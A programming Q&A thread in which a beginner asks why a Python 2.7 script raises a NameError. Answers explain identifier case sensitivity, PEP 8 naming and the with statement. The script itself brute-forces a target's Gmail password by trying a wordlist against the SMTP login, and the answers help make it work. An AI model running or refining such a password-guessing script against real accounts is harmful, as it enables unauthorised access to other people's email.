PYTHON 2.7.9: NameError: name '___' is not defined

2.4k Views Asked by At

I'm new to programming, but I'm trying to create the following script. Can you show me what I'm doing wrong?

import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

user = raw_input("Enter the target's email address: ")
Passwfile = raw_input("Enter the password file name: ")
Passwfile = open(passwfile, "r")

for password in passwfile:
        try:
                smtpserver.login(user, password)
                print "[+] Password Found: %s" % password
                break;
        except smtplib.SMTPAuthenticationError:
                print "[!] Password Incorrect: %s" % password

When I add my wordlist.lst file, an error message comes up in my terminal saying the following:

File "gmail.py", line 9, in <module>
Passwfile = open(passwfile, "r"
NameError: name 'passwfile' is not defined

Can any experts give me some advice please? I'm using Python 2.7.9 on Kali Linux (Python 2 was pre-installed, so I just decided to learn it instead of try Python 3.)

2

There are 2 best solutions below

8
mhawke On BEST ANSWER

There is no variable named passwfile defined. There is, however, one named Passwfile (note the capitalisation) which is the one that you should use because identifiers are case sensitive in Python.

Note that in Python the convention is to use all lower-case for variable names. Captialised identifiers are normally used for class names. So your code could read:

user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")
password_file = open(password_filename, "r")

for password in password_file:

for example.

For further information about identifiers and other issues of style refer to PEP 8. Here it recommends that variables be underscore separated lowercase words, so prefer password_file over passwfile for example.

Another useful tip is to open files within a context manager by using the with statement:

user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")

with open(password_filename) as password_file:
    for password in password_file:
        # nasty stuff here

The context manager will ensure that the file is always closed properly if, for example, there is an unhandled exception.

Finally, use this for good, not evil :)

0
kmad1729 On

check the line

Passwfile = raw_input("Enter the password file name: ")

Here you are storing raw_input in a variable Passwfile (P in upper case)